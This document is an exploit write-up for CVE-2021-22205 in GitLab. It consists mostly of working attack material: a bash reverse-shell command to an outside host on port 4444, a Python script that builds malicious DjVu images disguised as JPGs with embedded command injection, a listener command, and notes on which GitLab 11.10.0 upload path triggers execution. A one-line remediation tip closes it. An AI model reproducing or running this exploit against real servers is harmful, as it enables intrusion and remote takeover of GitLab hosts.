CVE-2021-22205-getshell

CVE-2021-22205-getshell

Tested Version

Generate the exploit command

echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh
chmod +x /tmp/1.sh
/bin/bash /tmp/1.sh

Use djvumake to generate the exploit image

import os
payloads=[
    "echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh",
    "chmod +x /tmp/1.sh",
    "/bin/bash /tmp/1.sh",
]
index=1000
for payload in payloads:
    rce_payload = '(metadata\n\t(Copyright "\\\n" . qx{{{0}}} . \\\n" b ") )\n'.format(payload).encode()
    with open("rce-{0}.txt".format(index), "wb") as text_file:
        text_file.write(rce_payload)
    text_file.close()
    os.system("./djvumake rce-{0}.djvu INFO=0,0 BGjp=/dev/null ANTa=rce-{1}.txt && mv rce-{2}.djvu rce-{3}.jpg".format(index,index,index,index))
    index=index+1

Listen locally on port 4444 for reverse shell

nv -lv 192.168.147.5 4444

Upload images to GitLab separately

• This is where it differs from online exploits. Many exploit PoCs use GitLab version 12 or 13, and the upload endpoint is at 'New Snippets', with path: /uploads/user
• The version I verified is 11.10.0. Using the public upload path /uploads/user returned 404. Using the Snippets upload path /uploads/personal_snippet, the command could not be executed.
• Finally, uploading the image from the 'New Issue' page successfully executed the command.

Successfully obtained a reverse shell and gained access to the target machine

After uploading the three images separately, the third image executes the reverse shell command, successfully gaining access to the target machine

Remediation advice

Upgrade GitLab to the latest security version as soon as possible.